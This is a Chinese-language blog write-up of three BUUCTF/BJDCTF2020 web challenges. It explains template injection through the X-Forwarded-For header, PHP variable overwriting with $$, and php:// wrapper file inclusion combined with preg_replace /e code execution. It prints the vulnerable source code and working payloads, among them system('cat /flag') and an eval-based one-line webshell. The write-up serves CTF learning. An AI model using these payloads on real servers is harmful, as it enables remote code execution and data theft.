buuctf6

[BJDCTF2020]The mystery of ip

算是一道比较意外的题目吧,发现X-Forwarded-For的内容会被显示,想说会不会是命令注入尝试了一下发现被原样输出了,接下来就没有其他思路了
看了一下wp,发现是ssti注入,但是跟以前又不同,这里可以直接使用系统命令,所以是php模板注入!
paylaod:

1
2
{{system('ls')}}
{{system('cat /flag')}}

[BJDCTF2020]Mark loves cat

git泄露,扫一波拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){//
$$x = $y;//让x的键名=$y eg:$yds='dog'传入yds=is所以此时 x=yds=dog 变成x=yds=is所以,其实post是没有用的,因为传入的键名只会作为一个值赋给x的键值的键值
}

foreach($_GET as $x => $y){//
$$x = $$y;//对于get参数: 直接互换,比如说x=yds=dog y=is=cat 那么此时 yds=cat
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){//get键名为flag的值和x的值相等 但是x的值也即键名不等flag?真的绕,笑死根本进不去
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){//get键名为flag的值为空且postflag的值为空,那么就会进来
exit($yds);
}
//postflag的值等于flag或者getflag的值等于flag
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

审计审计~

$$导致的变量覆盖问题

1.$$介绍
$$这种写法称为可变变量
一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。

1
2
3
4
<?php
$a="hello";
$$a='world';//此时$hello="world";
echo "$a ${$a}";//相当于$a被解析(被执行为world)

2.漏洞产生
使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
举例

1
2
3
4
5
6
<?php
foreach ($_GET as $key => $value) {
${$key} = $value;
}
echo $a;
?>

get得到的数据$key和$value,关键第3行,${$key}用get传进来的$key做为新的变量,将get传进来的$value赋值给它。
get ?a=1 第3行回解析为$a=1。就造成了变量覆盖。

exit()函数:在函数结束脚本的运行时会输出一个信息

在此题中,一开始我以为只要绕过那几个判断,执行到echo的判断就行了,但是其实是不行的,我没有注意到期间$flag的值是否会发生改变,因为这是include’flag.php’的,在index.php修改$flag的值也会覆盖修改flag.php当中的值,那么此时就有两种思路:

1.绕过两个判断但是不改变最终echo里面$flag的值(失败~)
2.进入判断,让判断中exit的变量等于flag的值:

这里需要先了解一下代码的执行过程:

img 可以看到x为键名,y为键值,弄清楚这个,开始正式构造payload,先代码分析一波: img 搞清楚这个继续往下

方法一:

从exit(yds)入手试试:这里就很简单了,直接用get类型的传入一个yds=flag
img

方法二:

1
is=flag&flag=flag

[BJDCTF2020]ZJCTF,不过如此

1
?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php

考察伪协议,使用inpu传入I have a dream绕过第一个判断 进入文件包含,此时过滤flag.php 但是又无法使用data协议看到提示next.php,于是使用filter协议打开:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);+
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

到了这里就是只是盲区了,一直在想如何引用getFlag这个函数,但主要是正则表达式没读懂,

preg_replace函数之命令执行

preg_replace:(PHP 5.5)

功能 : 函数执行一个正则表达式的搜索和替换

定义mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换

  • $pattern 存在 /e 模式修正符,允许代码执行
  • /e 模式修正符,使preg_reslace()$replacement 当做php代码来执行

漏洞解析:
这道题目考察的是 preg_replace 函数使用 /e 模式,导致代码执行的问题。我们发现在上图代码 第11行 处,将 GET 请求方式传来的参数用在了 complexStrtolower 函数中,而变量 $regex$value 又用在了存在代码执行模式的 preg_replace 函数中。所以,我们可以通过控制 preg_replace 函数第1个、第3个参数,来执行代码。但是可被当做代码执行的第2个参数,却固定为 ‘strtolower(“\\1”)’

1
2
3
4
5
反向引用

对一个正则表达式模式或部分模式 **两边添加圆括号** 将导致相关 **匹配存储到一个临时缓冲区** 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
可变变量:
下面再说说我们为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。

这边比较难理解的应该是这个反向引用,所以我用了代码调试一下:

1
2
3
这里先阐述一下我的理解,\1可以储存表达式,pattern匹配到的subject的内容将会被存储在strtolower中执行,所以此时我们需要做的就是看什么样的函数构造形式可以在strtolower("")中执行,所以此时引入可变变量的知识,上一关的可变变量中,我们理解了$$a实际上是先解析执行了$a这里我们引入${phpinfo()}也是这种用处,我们传入这个值接下来就变成$str=${phpinfo()}也就是$${phpinfo()},此时{phpinfo()}就会被执行返回1,变成$1,而且需要注意的是由于这里是双引号才可以这样解析,总结起来就是:
\1缓存了我们输入的表达——>该参数可以代码执行——>双引号内变量解析——>引发代码执行变量名
ps:这里我在本地运行的时候其实{${}}或者${}都是可以的
1
2
3
4
5
6
var_dump(phpinfo()); // 布尔true
var_dump(strtolower(phpinfo()));// 字符串'1',phpinfo执行成功返回1,将1小写
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));//字符串'11'
var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

接下来还有一个难点,就是正则匹配式中匹配语句该如何书写呢?:

. 匹配除换行符以外的任意字符
\s 匹配任意的空白符
\S 匹配任何非空白字符
+ 匹配前面的子表达式一次或多次

但是这里无法使用. 因为php的解析特性,会被转义成_就改变来原来我们想要的效果,所以这里需要的是\S*
由于这里是eval函数执行,所以我们可以直接构造一句话木马:

payload:

1
?\S*={${eval($_POST['1'])}
Author

vague huang

Posted on

2021-04-01

Updated on

2021-04-05

Licensed under

Comments